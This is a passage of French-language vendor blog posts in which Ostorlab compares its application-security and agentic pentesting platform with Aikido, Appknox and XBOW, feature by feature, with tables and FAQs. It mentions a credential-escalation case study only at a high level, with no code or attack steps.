Critères d'évaluation : analyse du code source (SAST), pentest agentique web et API, SAST/SCA mobile, DAST mobile sur binaires compilés, ingestion depuis les app stores, test d'applications soumises à des restrictions géographiques, SBOM compilé, prise en charge du Bring Your Own Key (BYOK), validation d'un correctif isolé, gestion de la posture de sécurité du cloud (CSPM) et sécurité des conteneurs.

Comparaison en un coup d'œil

Capacité	Aikido	Ostorlab	Pourquoi c'est important
Code source (SAST)	✅ Oui, large prise en charge des langages, AutoTriage filtre le bruit après le scan	✅ Oui, les vulnérabilités sont reliées directement au moteur dynamique pour une preuve d'exploitabilité en direct	Aikido valide après coup ; Ostorlab valide pendant la même passe
Pentest agentique web/API	✅ Oui, Aikido Attack, véritable agent autonome pour les applications web et les API, et Android en boîte blanche depuis le 26 août 2026	✅ Oui, Agentic Deep Scan, Monkey Tester navigue dans les SPA, le SSO et la logique en plusieurs étapes	Les deux sont de vrais produits agentiques ; le périmètre et l'origine diffèrent
SAST/SCA mobile (niveau code source)	✅ Oui, Swift, Kotlin et Dart pris en charge	✅ Oui	Les deux couvrent les contrôles mobiles au niveau du dépôt
DAST mobile (test de binaires compilés)	⚠️ Android uniquement, en boîte blanche : les pentests Android exigent l'APK et la base de code, et le build ne peut pas utiliser le certificate pinning, la détection du root ou de l'émulateur, ni le RASP ; iOS « bientôt disponible »	✅ Oui, teste directement l'APK/IPA livré	L'analyse des dépôts passe à côté de ce qui se trouve réellement dans le binaire que téléchargent les utilisateurs
Ingestion depuis les app stores	❌ Non proposée : le pentest Android prend un APK importé et la base de code	✅ Oui, récupération par bundle ID depuis l'App Store ou Google Play, sans connexion à un dépôt	Évite la recherche manuelle pour les correctifs urgents ou les applications tierces
Test d'applications à restriction géographique	❌ Non proposé : le trafic du pentest provient de la région de l'espace de travail (UE, États-Unis ou Australie), et non d'un pays choisi	✅ Oui, sélection native du pays	Nécessaire pour les applications fintech/bancaires dont la logique dépend de la région
SBOM compilé	⚠️ Conteneurs uniquement : des SBOM pour les dépôts et les images de conteneurs ; pour les exécutables, Aikido demande un SBOM déclaré par le client	✅ Oui, extrait les dépendances directement du binaire livré, pas seulement d'un manifeste	Montre ce qui est réellement en production, pas seulement ce qui est déclaré dans le code source
BYOK (Bring Your Own Key)	❌ Non proposé : les fonctionnalités d'IA s'exécutent sur des modèles hébergés sur AWS Bedrock ; l'Aikido Machine sur site exécute son propre modèle	✅ Oui, connectez vos propres clés de fournisseur d'IA (OpenAI, Anthropic, Google Vertex)	Important pour les secteurs réglementés qui ne peuvent pas envoyer de code ou de trafic vers un modèle partagé
Validation d'un correctif isolé	✅ Oui, pour les vulnérabilités de pentest : Aikido retest une vulnérabilité à la fois, pour les évaluations démarrées au cours des 6 derniers mois	✅ Oui, SVA valide un correctif urgent en quelques minutes sans nouveau scan complet	Les deux retestent une vulnérabilité isolée ; le SVA d'Ostorlab fonctionne aussi sur les vulnérabilités issues de scans continus
Gestion de la posture de sécurité du cloud (CSPM)	✅ Oui, point fort	❌ Non proposée	Aikido convient mieux si la posture de l'infrastructure est la priorité
Sécurité des conteneurs	✅ Oui, analyse des images de conteneurs	❌ Non proposée	Idem

Une concession nette : posture cloud et conteneurs

Il est important d'indiquer clairement ce pour quoi une plateforme n'est pas conçue. Ostorlab est une plateforme active d'AppSec et de pentest ; ce n'est pas un outil de gestion de la posture de l'infrastructure.

Si votre objectif immédiat est la gestion de la posture de sécurité du cloud (CSPM), la détection de buckets S3 mal configurés ou l'analyse courante des conteneurs, Aikido est le meilleur choix. Sa plateforme excelle à offrir de la visibilité sur l'infrastructure cloud-native.

Analyse du code source (SAST) : filtrer la théorie ou prouver la réalité

Les deux plateformes offrent une analyse statique (SAST) robuste et multilangage. Aikido mérite ici tout le crédit : son moteur SAST prend en charge un large éventail de langages (dont Swift, Kotlin et Dart) et s'appuie sur une puissante fonctionnalité AutoTriage. AutoTriage utilise l'analyse d'atteignabilité et des modèles de raisonnement IA pour filtrer le bruit et les faux positifs typiques des scanners statiques.

La divergence d'architecture tient à ce qui se passe une fois la vulnérabilité signalée. Aikido utilise l'IA pour trier et noter les vulnérabilités statiques après coup. Ostorlab aborde le SAST comme la première étape d'une chaîne dynamique : il relie les vulnérabilités directement à son moteur dynamique pour prouver l'exploitabilité en direct. Plutôt que de fournir une liste très filtrée de failles théoriques, Ostorlab produit des preuves de niveau probant, qui montrent précisément comment une faille du code source s'exécute dans l'application en fonctionnement.

Pentest web et API : agents autonomes et Monkey Tester

Aikido a récemment lancé Aikido Attack, un véritable agent de pentest autonome qui teste et exploite des applications web et des API en production et, depuis le 26 août 2026, des applications Android en boîte blanche. C'est un produit très performant.

Cependant, la distinction entre les deux agents tient à leurs origines. L'agent d'Aikido est parti de l'application web qu'il avait devant lui et a ajouté Android plus tard, avec le code source obligatoire. Le moteur d'Ostorlab a d'abord été conçu pour la machine à états bien moins prévisible d'une application mobile compilée. Parce qu'Ostorlab a dû résoudre la navigation mobile chaotique, les interfaces dynamiques et les contraintes des appareils physiques, il aborde le test web et API avec un Monkey Tester conçu pour gérer cette navigation mobile chaotique. Cela permet à Ostorlab de naviguer de façon autonome dans des Single Page Applications (SPA) complexes, du SSO web en plusieurs étapes et une logique métier complexe, sans script humain.

Cette profondeur est très visible dans le test des API. Dans une étude de cas documentée, l'Agentic Deep Scan d'Ostorlab a découvert un identifiant machine à machine (M2M) Auth0 à portée limitée. Au lieu de simplement signaler la clé divulguée, l'agent a cartographié de façon autonome la surface d'autorisation de l'identifiant, en élevant avec succès un jeton read:TSC à portée limitée en accès complet à l'API Management, et en extrayant un annuaire de 1 000 utilisateurs.

L'écart de réalité côté mobile : tester la production, pas seulement les dépôts

Aikido prend en charge Swift, Kotlin et Dart pour le SAST et l'analyse de la composition logicielle (SCA). C'est une capacité réelle et utile pour les développeurs iOS et Android qui veulent des contrôles au niveau du dépôt.

Depuis le 26 août 2026, Aikido réalise aussi des pentests Android sur l'APK, mais uniquement en boîte blanche : la base de code est obligatoire. Le pentest iOS est annoncé comme bientôt disponible. Ostorlab teste l'application Android et iOS compilée sans son code source, y compris les applications récupérées depuis les stores. Pour les secteurs réglementés, tester le binaire livré est une exigence stricte.

Ostorlab est un véritable DAST mobile, optimisé pour la réalité de la production :

Ingestion depuis les stores sans configuration : saisissez un bundle ID et Ostorlab récupère l'application directement depuis l'App Store ou Google Play. Aucune connexion à un dépôt ni câblage de pipeline n'est nécessaire.
Géorestriction : sélection native du pays pour récupérer et tester les variantes de production soumises à des restrictions géographiques.
SBOM compilés : plutôt que d'analyser un manifeste ou un lockfile, Ostorlab extrait les dépendances et les composants natifs liés statiquement directement du binaire APK ou IPA livré, et montre exactement ce qui est parti en production.

Confidentialité des données et BYOK (Bring Your Own Key)

Pour les secteurs très réglementés, comme la banque, la santé et le jeu vidéo, envoyer du code propriétaire sensible ou de la télémétrie de trafic à des LLM publics partagés est exclu d'emblée.

C'est là qu'Ostorlab offre un avantage d'architecture décisif : le Bring Your Own Key (BYOK). Ostorlab permet aux équipes de sécurité de connecter leurs propres clés privées de fournisseur d'IA, comme OpenAI, Anthropic ou Google Vertex, de sorte que tout le raisonnement sur les données reste strictement au sein d'une infrastructure que l'entreprise contrôle déjà. Nous n'avons trouvé aucune option BYOK sur les pages publiques d'Aikido : Aikido indique que ses fonctionnalités d'IA utilisent des modèles hébergés sur AWS Bedrock. Pour les besoins d'environnements isolés (air-gapped), Aikido propose Aikido Machine, un serveur sur site qui peut fonctionner sans connexion sortante ; Ostorlab propose un déploiement sur site avec Enterprise.

Remédiation de précision : SVA

Les workflows des développeurs doivent suivre la cadence des déploiements modernes. Lorsqu'un développeur pousse un correctif urgent, il ne peut pas attendre des heures un nouveau scan complet du pipeline pour savoir si le correctif a fonctionné. Ostorlab propose le Single Vulnerability Assessment (SVA), qui permet aux équipes d'ingénierie de valider un correctif urgent précis sur l'application en production en quelques minutes, ce qui crée une boucle de remédiation rapide et peu contraignante. Aikido retest aussi une vulnérabilité de pentest isolée après un correctif, pour les évaluations démarrées au cours des 6 derniers mois.

FAQ

Aikido teste-t-il les applications mobiles ? Aikido prend en charge le SAST et la SCA pour le code source mobile, y compris Swift, Kotlin et Dart, ainsi que des pentests Android en boîte blanche qui exigent le code source de l'application. Le pentest iOS est annoncé comme bientôt disponible. Ostorlab teste l'application Android et iOS compilée sans code source.

Ostorlab fait-il de la gestion de la posture de sécurité du cloud (CSPM) ? Non. Ostorlab est une plateforme de sécurité applicative et de pentest ; pour le CSPM ou l'analyse des conteneurs, Aikido est le meilleur choix.

Aikido propose-t-il le BYOK (Bring Your Own Key) ? Nous n'avons trouvé aucune option BYOK sur les pages d'Aikido (vérifié le 6 octobre 2026) : les fonctionnalités d'IA d'Aikido utilisent des modèles hébergés sur AWS Bedrock, et l'Aikido Machine sur site exécute son propre modèle. Ostorlab permet de connecter vos propres clés de fournisseur d'IA, notamment OpenAI, Anthropic et Google Vertex.

Quelle est la différence entre Aikido Attack et l'Agentic Deep Scan d'Ostorlab ? Les deux sont de véritables agents de pentest autonomes. Aikido Attack teste les applications web et les API, ainsi que les applications Android en boîte blanche depuis le 26 août 2026 ; le moteur d'Ostorlab a d'abord été conçu pour la machine à états plus complexe et chaotique des applications mobiles compilées, et cette même capacité de navigation s'étend désormais aux SPA web, au SSO et à la logique métier en plusieurs étapes.

Ostorlab peut-il tester une application sans se connecter à un dépôt de code source ? Oui. Ostorlab peut récupérer une application directement depuis l'App Store ou Google Play par bundle ID, y compris les variantes verrouillées par région, sans connexion à un dépôt.

Comment Ostorlab valide-t-il la correction d'un seul bug ? Le Single Vulnerability Assessment (SVA) valide un correctif urgent sur l'application en production en quelques minutes, sans nouveau scan complet du pipeline.

Limites de cette comparaison

Les capacités, les tarifs et la documentation des éditeurs changent fréquemment. Les informations sur Aikido ont pu évoluer depuis le 3 août 2026.
Aucun benchmark indépendant des taux de détection, des taux de faux positifs ou de la vitesse de scan n'a été réalisé pour cet article.
Cet article ne rend pas compte de tests pratiques d'Aikido. Les affirmations sur Aikido reflètent ses documents publics ; celles sur Ostorlab reflètent la documentation produit d'Ostorlab.
Vérifiez les capacités, les tarifs et les options de déploiement actuels directement auprès de chaque éditeur, idéalement en testant les deux plateformes sur vos propres applications.

L'essentiel à retenir

Le choix entre ces plateformes dépend de l'endroit où se situe votre risque principal. Si votre priorité est de verrouiller l'infrastructure cloud, de gérer la posture Kubernetes et de garder propres les dépendances des dépôts, Aikido est une excellente plateforme. Si vos joyaux de la couronne sont la pile applicative elle-même, des SPA web complexes, des API enchaînées et des applications mobiles compilées, il vous faut un moteur plus profond. Ostorlab offre la navigation autonome dans l'interface, la génération de preuves en direct et les contrôles de confidentialité BYOK stricts nécessaires pour sécuriser les parties les plus difficiles de l'application moderne.

Voyez par vous-même : lancez un Agentic Deep Scan sur votre propre application web ou mobile et constatez la différence de profondeur.

Vous utilisez déjà Aikido ? Comparez Ostorlab et Aikido sur la même application : même cible, même durée. Une vulnérabilité ne compte qu'après avoir été reproduite par votre équipe.

Ostorlab contre Appknox : mettre les choses au clair

2026-07-29T14:00:00+02:00

Appknox a comparé Ostorlab. Voici ce qu'ils ont manqué.

Appknox a récemment publié une comparaison « Top 10 MAST Tools in 2026 ». Malheureusement, son évaluation d'Ostorlab, ainsi que sa présentation des autres acteurs du secteur, est en grande partie inexacte et factuellement fausse. Son tableau comparatif affiche « Non » pour Ostorlab dans plusieurs colonnes de capacités essentielles.

Cet article a pour objectif de fournir la comparaison réelle, fondée sur les fonctionnalités actuellement disponibles et documentées.

À propos de cette comparaison

Cette comparaison est publiée par Ostorlab, qui développe et commercialise la plateforme Ostorlab comparée ici. Les descriptions d'Appknox reposent sur le site web public d'Appknox, ses supports de lancement de KnoxIQ et l'article « Top 10 MAST Tools in 2026 » cité ; les descriptions d'Ostorlab reposent sur la documentation produit d'Ostorlab. Les informations sur les autres éditeurs reflètent leurs sites web et leur documentation publics au 29 juillet 2026.

Critères d'évaluation : les quatre lacunes d'Ostorlab énumérées dans l'article d'Appknox (test d'intrusion intégré, surveillance des app stores, priorisation de l'exploitabilité par l'IA et workflows de programme de sécurité), la comparaison entre KnoxIQ et Agentic Deep Scan (fonction, entrée, plafond et livraison), la couverture de plateformes au-delà du mobile, les profils de scan et les intégrations, ainsi que le déploiement et la tarification.

Mettre les choses au clair

Leur tableau énumère des lacunes précises pour Ostorlab. Voici ce qui est effectivement disponible aujourd'hui.

Affirmation 1 : « Pas de test d'intrusion intégré »

Ostorlab n'est pas seulement un scanner statique traditionnel ; il est piloté par Agentic Deep Scan, un pentesteur IA autonome conçu pour exploiter activement les vulnérabilités. On va ainsi bien au-delà des contrôles statiques, vers un test d'intrusion intégré et en plusieurs étapes. Par exemple, dans une étude de cas documentée récente, Agentic Deep Scan a découvert un identifiant machine-to-machine (M2M) Auth0 codé en dur. Plutôt que de se contenter de signaler la fuite, comme le ferait un scanner, l'agent a cartographié de manière autonome la surface d'autorisation de cet identifiant. Il a réussi à passer d'un jeton read:TSC à portée limitée à l'accès à l'API Management d'Auth0 du tenant, en extrayant un annuaire de 1 000 utilisateurs et en exposant des scopes d'administration latents.

Affirmation 2 : « Pas de surveillance des app stores »

Ostorlab assure une surveillance continue de l'App Store, de Google Play Store et de TestFlight. En outre, la plateforme est conçue pour récupérer les variantes verrouillées par région grâce à une sélection native du pays, sans recherche manuelle.

Au-delà de la simple détection des changements, Ostorlab vous permet de définir des règles de surveillance personnalisées pour automatiser vos workflows de sécurité. Vous pouvez facilement configurer ces règles dans la plateforme (consultez notre documentation produit pour un guide de configuration). Voici quelques cas d'usage où il est utile de définir une règle de surveillance :

Cas d'usage	Déclencheur	Action
Nouvelle vulnérabilité critique	Une vulnérabilité critique apparaît dans un scan	Envoyer une notification Slack et créer un ticket Jira
Détection de régression	Une vulnérabilité précédemment corrigée réapparaît	Notifier immédiatement le propriétaire de l'application
Surveillance de la conformité	L'application perd sa conformité MASVS	Ouvrir un ticket de conformité
Surveillance des applications publiques	Une nouvelle version apparaît sur Google Play/App Store	Lancer automatiquement un scan
Risque lié aux SDK tiers	Un SDK vulnérable est détecté	Alerter l'équipe sécurité et assigner la remédiation
Visibilité pour la direction	Un problème critique reste ouvert depuis plus de 30 jours	Escalader au RSSI ou au responsable

Vous voulez savoir comment fonctionne concrètement la configuration des règles de surveillance ? Regardez notre courte vidéo de présentation ci-dessous :

Affirmation 3 : « Pas de priorisation de l'exploitabilité par l'IA »

Ostorlab utilise une approche hybride qui combine analyse statique, tests dynamiques et exploitation active par l'IA. L'exploitabilité est validée pendant le scan lui-même par une reproduction autonome, plutôt que d'être appliquée après coup pour filtrer des résultats statiques. Nous vous invitons à regarder cette vidéo pour en savoir plus sur notre Agentic Deep Scan et les capacités de la plateforme :

Affirmation 4 : « Une plateforme de scan plutôt qu'un programme de sécurité »

Un programme de sécurité robuste exige des workflows précis une fois qu'une détection a eu lieu, alors que les scanners classiques n'assurent ni remédiation en boucle fermée ni découverte des actifs. Ostorlab propose des fonctionnalités dédiées pour gérer l'ensemble du cycle de vie du risque. Cela comprend :

Single Vulnerability Assessment (SVA) pour des re-tests ciblés.
Dig Deeper pour l'investigation des causes racines.
Remédiation en un clic pour une correction rapide en boucle fermée.
Attack Surface Management (ASM) pour une découverte continue des actifs.
App Vetting pour évaluer le risque lié aux tiers.
Mobile Shielding Scans pour valider les protections à l'exécution sur des appareils physiques.

Pour découvrir toutes les nouveautés que nous avons ajoutées récemment à la plateforme, consultez notre Changelog.

Une question que leur propre marketing soulève

Lors du lancement de leur nouvelle fonctionnalité KnoxIQ, Appknox a formulé le problème auquel les équipes de sécurité sont aujourd'hui confrontées : « Trop de vulnérabilités. Aucune vraie priorité. » Ils ont cité un taux de faux positifs d'environ 30 % pour l'ensemble du secteur.

Il convient de relever ce que cela concède implicitement : la sortie brute des scanners traditionnels (la catégorie centrale qu'Appknox a vendue) n'est pas assez fiable pour les développeurs sans une couche de validation secondaire par l'IA.

À l'inverse, la validation d'Ostorlab se fait dans le moteur même qui trouve le problème. Aucun produit de triage distinct n'est nécessaire, car un élément n'est signalé que s'il peut être démontré comme exploitable pendant le scan.

KnoxIQ contre Agentic Deep Scan : la différence technique

Pour être clair, KnoxIQ (lancé en avril 2026) est un outil légitime. Il décompile les applications, recoupe les exploits et suggère des correctifs pour les vulnérabilités détectées. Il existe cependant une différence d'architecture fondamentale entre une couche de triage et un moteur agentique.

KnoxIQ joue le rôle de couche de triage et de validation pour les vulnérabilités qu'un scanner a déjà trouvées de façon statique. Agentic Deep Scan est un moteur d'exploitation active qui teste l'application réelle et authentifiée pour trouver des problèmes complexes que les scanners statiques manquent par nature. De plus, alors que les tests dynamiques traditionnels exigent souvent que les utilisateurs interagissent manuellement avec l'application pour assurer la couverture, Ostorlab emploie un monkey tester intelligent qui navigue de manière autonome dans l'interface et interagit avec des éléments d'état complexes pour garantir une couverture dynamique approfondie, sans intervention humaine.

Fonctionnalité	KnoxIQ (Appknox)	Agentic Deep Scan (Ostorlab)
Ce qu'il fait	Couche de triage et de validation	Moteur d'exploitation active et de pentest
Entrée	Résultats d'un scan statique	Application réelle et authentifiée
Plafond	Décompilation et recoupement statique	Chaînes d'exploitation dynamiques en plusieurs étapes
Livraison	Suggère des correctifs après coup	Correctif en un clic, sous forme de PR prête à fusionner, vérifié dans l'application réelle

Une couverture full-stack, pas seulement mobile

Appknox teste les applications mobiles et les API qui les alimentent ; son propre blog indique qu'il ne teste ni les applications web ni le code source. Les surfaces d'attaque modernes sont rarement cantonnées à une seule plateforme. Ostorlab est conçu comme une plateforme unifiée pour le mobile, le web, les API et le code source (via des intégrations Git), avec un seul agent et un seul modèle tarifaire. Ostorlab prend systématiquement et immédiatement en charge les dernières versions d'iOS et d'Android, évitant les limitations et les retards liés aux versions d'OS qui brident souvent les anciens outils de test mobile.

Flexibilité : profils de scan et intégrations

Ostorlab prend en charge plusieurs profils de scan adaptés (Fast Scans pour le CI/CD, Privacy, Mobile Shielding, SAST/DAST et Agentic complet).
Ostorlab s'intègre à GitHub, GitLab, Azure DevOps, Bitbucket, Jira, Slack et Jenkins. Appknox liste aussi Jira, ServiceNow, Slack et la plupart des systèmes de CI.

Déploiement et tarification

Ostorlab prend en charge des déploiements dans les régions cloud US, UE et KSA, ainsi que des installations on-premise.

Le modèle tarifaire repose sur un portefeuille de tokens à l'usage, où les tokens non utilisés sont remboursés automatiquement à la fin d'un scan, avec des sièges gratuits illimités pour les membres de l'équipe. Notre tarification est totalement transparente, et nous vous invitons à consulter tous les détails directement sur notre page Tarifs.

Mis à jour le 1er octobre 2026 : précision que les remboursements portent sur les tokens non utilisés et sont effectués à la fin d'un scan.

Mis à jour le 2 octobre 2026 : correction des affirmations sur le périmètre et les intégrations d'Appknox, qui teste aussi les API et liste Jira, ServiceNow, Slack et la plupart des systèmes de CI.

L'étiquette « freemium » souvent appliquée à Ostorlab désigne en réalité notre projet open source OXO et notre offre Community. Cette offre est gratuite en permanence et fournit des Fast Scans illimités : un profil d'analyse statique léger et rapide, optimisé pour obtenir un retour rapide pendant les cycles de développement. Le Fast Scan comprend :

L'identification rapide des erreurs de configuration courantes.
La détection de clés d'API, de jetons et de secrets codés en dur.
L'analyse des schémas de programmation vulnérables dans le code source et le bytecode.
Une analyse de la composition logicielle (SCA) rapide pour les SDK tiers.

Limites de cette comparaison

Les capacités, les tarifs et la documentation des éditeurs changent fréquemment. Les informations sur Appknox ont pu évoluer depuis le 29 juillet 2026.
Aucun benchmark indépendant des taux de détection, des taux de faux positifs ou de la vitesse de scan n'a été réalisé pour cet article.
Cet article ne rend pas compte de tests pratiques d'Appknox. Les affirmations sur Appknox reflètent ses supports publics ; celles sur Ostorlab reflètent la documentation produit d'Ostorlab.
Vérifiez les capacités, les tarifs et les options de déploiement actuels directement auprès de chaque éditeur, idéalement en testant les deux plateformes sur vos propres applications.

En résumé

En définitive, la vraie valeur d'une plateforme de sécurité se mesure à sa capacité à réduire le risque sans submerger les équipes d'ingénierie de bruit.

Agentic Deep Scan est un pentesteur IA autonome conçu pour enchaîner les exploits et valider le risque réel. La meilleure façon d'évaluer la différence entre un scanner traditionnel et un pentest agentique n'est pas un tableau comparatif : c'est de le tester. Nous vous invitons à lancer un Agentic Deep Scan sur votre propre application et à comparer vous-même la profondeur des résultats.

Vous utilisez déjà Appknox ? Comparez Ostorlab et Appknox sur la même application : même cible, même durée. Une vulnérabilité ne compte qu'une fois reproduite par votre équipe.

XBOW vs Ostorlab : comparatif du pentest par IA

2026-07-28T11:29:00+02:00

Les plateformes autonomes de tests de sécurité par IA visent à compléter ou à remplacer les tests d'intrusion traditionnels en validant les vulnérabilités exploitables avec une preuve déterministe. XBOW et Ostorlab se concentrent tous deux sur des tests à la vitesse de la machine, avec des vulnérabilités vérifiées et étayées par une preuve, mais ils reposent sur des modèles de périmètre fondamentalement différents.

XBOW est conçu pour des évaluations structurées et périodiques d'applications web interactives et des API qui les soutiennent. Ostorlab fournit un moteur de test multi-actifs conçu pour évaluer les applications mobiles natives (Android et iOS), les API autonomes et exposées aux clients, les dépôts de code source et l'infrastructure backend connectée.

Points clés : Ostorlab vs XBOW

Couverture des cibles : Ostorlab teste Android (APK/AAB), iOS (IPA), les applications web, les API autonomes, les dépôts de code source et les actifs réseau. Le périmètre publiquement documenté de XBOW se concentre sur les applications web interactives et les API qui les soutiennent.
Chaînage d'exploits entre actifs : Le Multi-Asset Deep Agentic Scan d'Ostorlab met en corrélation les découvertes entre actifs connectés (par exemple, extraire une route d'API ou un identifiant d'un binaire mobile et explorer l'accès au backend). XBOW concentre ses tests dans le périmètre d'une application web individuelle.
Remédiation pour les développeurs : Ostorlab génère automatiquement des correctifs sous forme de pull requests (AutoFix) avec un nouveau test de vérification en boucle fermée. XBOW fournit des étapes de reproduction de l'exploit, des recommandations d'atténuation et le nouveau test des vulnérabilités.
Intégration CI/CD : Ostorlab fournit des actions prêtes à l'emploi pour GitHub Actions, GitLab CI et Jenkins, ainsi que des déclencheurs liés aux publications sur les app stores. XBOW fournit une API REST publique pour l'automatisation externe.
Tarification et déploiement : Ostorlab propose une prise en main en libre-service à partir de 499 $, avec des options Bring Your Own Key (BYOK) et un support on-premises. XBOW tarife selon l'usage et le périmètre, sans prix publié.

À propos de cette comparaison

Cette comparaison est publiée par Ostorlab, qui développe et commercialise la plateforme Ostorlab comparée ici. Les descriptions de XBOW s'appuient sur le site web public de XBOW et sur les pages de documentation de XBOW liées dans le tableau ci-dessous ; les descriptions d'Ostorlab s'appuient sur la documentation produit d'Ostorlab. Les informations sur les autres éditeurs reflètent leurs sites web publics et leur documentation au 28 juillet 2026.

Mis à jour le 2 octobre 2026 : XBOW a retiré son offre Pentest On-Demand le 16 juillet 2026, le prix de 4 000 $ a donc été supprimé. La tarification de XBOW est désormais basée sur l'usage et établie par environnement (tarifs XBOW).

Critères d'évaluation : couverture des cibles (applications web, API, applications mobiles, code source et actifs réseau), chaînage d'exploits entre actifs, tests continus et déclenchés par CI/CD, workflows de remédiation et de nouveau test, tests multi-rôles, gestion de la surface d'attaque, validation du shielding à l'exécution, notation du risque des applications tierces, visibilité de la couverture, preuves d'exploitation, gestion des faux positifs, maturité de l'entreprise, tarification, hébergement et résidence des données.

Comparatif en un coup d'œil

Capacité	XBOW	Ostorlab	Pourquoi c'est important
Pentest d'applications web	Oui	Oui	Capacité de base pour les deux plateformes
Pentest d'API	Oui, pour les API qui soutiennent une application web interactive	Oui, comme cibles autonomes et derrière des clients web ou mobiles	Détermine si les API peuvent être testées indépendamment d'une session de navigateur
Pentest mobile (iOS/Android)	Non documenté publiquement pour les cibles APK, AAB ou IPA	Oui, Agentic Deep Scan pour Android et iOS	Pertinent lorsque des applications mobiles natives font partie de la surface d'attaque
Tests continus / déclenchés par CI/CD	Oui, via l'API XBOW et l'automatisation externe	Oui, hooks natifs pour GitHub Actions, GitLab CI, Jenkins et d'autres	Les tests continus détectent les régressions entre les missions formelles
Scan du code source / de Git	Le code source peut être importé comme contexte d'évaluation ; le scan autonome de dépôts n'est pas documenté publiquement	Oui, intégration native pour GitHub, GitLab, Azure DevOps, Bitbucket et Git auto-hébergé	Distingue l'usage du code comme indices à l'exécution de l'audit du dépôt comme cible
Correctif de code en un clic	Non documenté publiquement	Oui, avec vérification du correctif en boucle fermée	Génère et vérifie automatiquement des correctifs sous forme de pull requests, au lieu de laisser la remédiation entièrement manuelle
Tests multi-rôles / multi-tenants	Les workflows web authentifiés sont pris en charge	Oui, teste des workflows authentifiés et multi-rôles entre différents types d'utilisateurs	Les failles de logique métier n'apparaissent souvent qu'en testant les frontières d'accès entre rôles
Gestion de la surface d'attaque	Définie au niveau de l'évaluation pour les domaines et les endpoints	Oui, découverte continue des actifs sur les domaines, dépôts, comptes SaaS et applications mobiles	Identifie l'infrastructure fantôme et oubliée dans toute l'organisation
Validation du shielding à l'exécution (RASP, anti-falsification, certificate pinning)	Non documenté publiquement	Oui, Mobile Shielding Scan sur appareils physiques	Valide si les défenses des applications mobiles résistent à de vraies tentatives de contournement
Notation du risque des applications tierces	Non documenté publiquement	Oui, App Vetting	Évalue les applications tierces avant leur approbation en entreprise
Validation d'une vulnérabilité unique après le scan	Les nouveaux tests d'une vulnérabilité reproduisent la trace de l'exploit d'origine	Oui, SVA peut évaluer une vulnérabilité soumise indépendamment d'un scan complet	Valide des correctifs ou des soumissions de bug bounty sans répéter des tests sans rapport
Investigation de la cause racine à partir d'une vulnérabilité	Détails de l'exploit et traces de test fournis ; workflow d'investigation autonome non documenté publiquement	Oui, Dig Deeper	Permet une investigation ciblée directement depuis une vulnérabilité existante
Visibilité de la couverture des tests	Informations sur les lacunes de couverture documentées pour les évaluations Enterprise	Oui, Scan Coverage Heatmap	Visualise les composants testés par rapport aux zones de surface non testées
Preuve d'exploitation	Détails de l'exploit, étapes de reproduction, artefacts de preuve, recommandations d'atténuation et traces de test	Captures d'écran, journaux de requêtes/réponses HTTP, commandes exécutées, journaux d'appareil, étapes de reproduction et traces d'exploit entre actifs	Les deux fournissent une preuve déterministe ; Ostorlab ajoute les journaux d'appareils mobiles physiques et les chemins entre actifs
Maturité de l'entreprise	Sorti de la liste d'attente privée mi-2025	Fondée en 2020 ; revendique plus de 20 000 utilisateurs de la plateforme	Donne un contexte sur l'historique d'exploitation de la plateforme
Tarification et inscription	Tarification à l'usage adaptée à votre environnement, sans prix publié ; également vendu via des marketplaces cloud	Agentic Deep Scan à partir de 499 $, inscription en libre-service	Influe sur le modèle d'achat et sur l'ampleur du déploiement des tests automatisés par les équipes
Gestion des faux positifs	Une preuve objective est exigée avant de signaler une vulnérabilité	Analyse statique combinée à l'exécution dynamique et à la reproduction par IA	Les deux mettent l'accent sur la réduction du tri manuel grâce à l'exploitation vérifiée
Hébergement / résidence des données	Cloud (US ; UE et Singapour documentés en préversion)	Cloud (US, UE, KSA) ou On-Premises	Pertinent pour les organisations soumises au RGPD ou à des règles strictes de souveraineté des données

Différences d'architecture fondamentales

1. Périmètre des cibles : orienté web vs surfaces hétérogènes

La principale différence entre les deux plateformes tient à ce que chaque système peut évaluer :

XBOW définit ses évaluations autour des applications web interactives et des API qui les soutiennent directement. Dans ce modèle, une évaluation explore le frontend de l'application par automatisation du navigateur, identifie les endpoints accessibles via l'interface et soumet ces endpoints à des tests automatisés. Les organisations dont la surface externe est principalement constituée d'applications web s'inscrivent naturellement dans ce modèle.
Ostorlab aborde la surface applicative comme un graphe hétérogène. En plus des applications web, il prend en charge les binaires Android (APK/AAB) et iOS (IPA) natifs, les API autonomes (REST, GraphQL, gRPC), les dépôts Git et les hôtes réseau.

Pour les applications mobiles en particulier, Ostorlab inspecte le binaire de l'application, analyse les comportements à l'exécution sur des appareils physiques, teste les stockages de données locaux et intercepte le trafic réseau. Cela inclut l'évaluation des mécanismes d'autodéfense à l'exécution (tels que la détection du root/jailbreak, l'anti-falsification et le certificate pinning) face à de vraies tentatives de contournement via Mobile Shielding Scan.

2. Contexte entre actifs et chaînage d'exploits

Les vulnérabilités modernes traversent fréquemment les frontières architecturales. Une vulnérabilité peut commencer par une clé d'API exposée dans un binaire mobile, se poursuivre via un microservice backend non authentifié et aboutir à une base de données interne ou à une interface d'administration.

Comme XBOW documente des tests dans le périmètre d'une application web spécifique, les tests se concentrent sur les vulnérabilités détectables via les workflows web de cette cible.

Le Multi-Asset Deep Agentic Scan d'Ostorlab conserve le contexte entre les actifs liés pendant une évaluation : * Les endpoints, jetons ou paramètres de configuration extraits d'un client mobile ou d'un dépôt de code source sont directement injectés dans le périmètre de test des API backend associées. * Les identifiants découverts dans une réponse d'API peuvent être testés sur d'autres endpoints d'entreprise autorisés du périmètre. * Les failles découvertes dans une cible web ou API déployée peuvent être rapprochées du dépôt Git d'origine.

Dans une étude de cas documentée, un scan autonome a identifié des identifiants machine-to-machine (M2M) Auth0 codés en dur dans une application iOS. Bien que l'identifiant ait d'abord semblé limité à un service interne (read:TSC), l'agent de test a évalué systématiquement la clé sur des surfaces d'autorisation connexes. Il a découvert que les identifiants disposaient d'un accès actif à l'API Management Auth0 du tenant, transformant une fuite de secret localisée en une exposition administrative à l'échelle du tenant, qui a permis d'extraire des annuaires d'utilisateurs et d'exposer des scopes en écriture (update:users).

3. Workflows de tri, de remédiation et de vérification

Les deux plateformes privilégient les vulnérabilités à haut niveau de confiance, étayées par une preuve déterministe, plutôt que des alertes brutes de scanner. XBOW fournit des étapes de reproduction, des payloads d'exploit, des recommandations d'atténuation et des traces complètes d'exécution des tests, ce qui permet aux développeurs de rejouer la vulnérabilité.

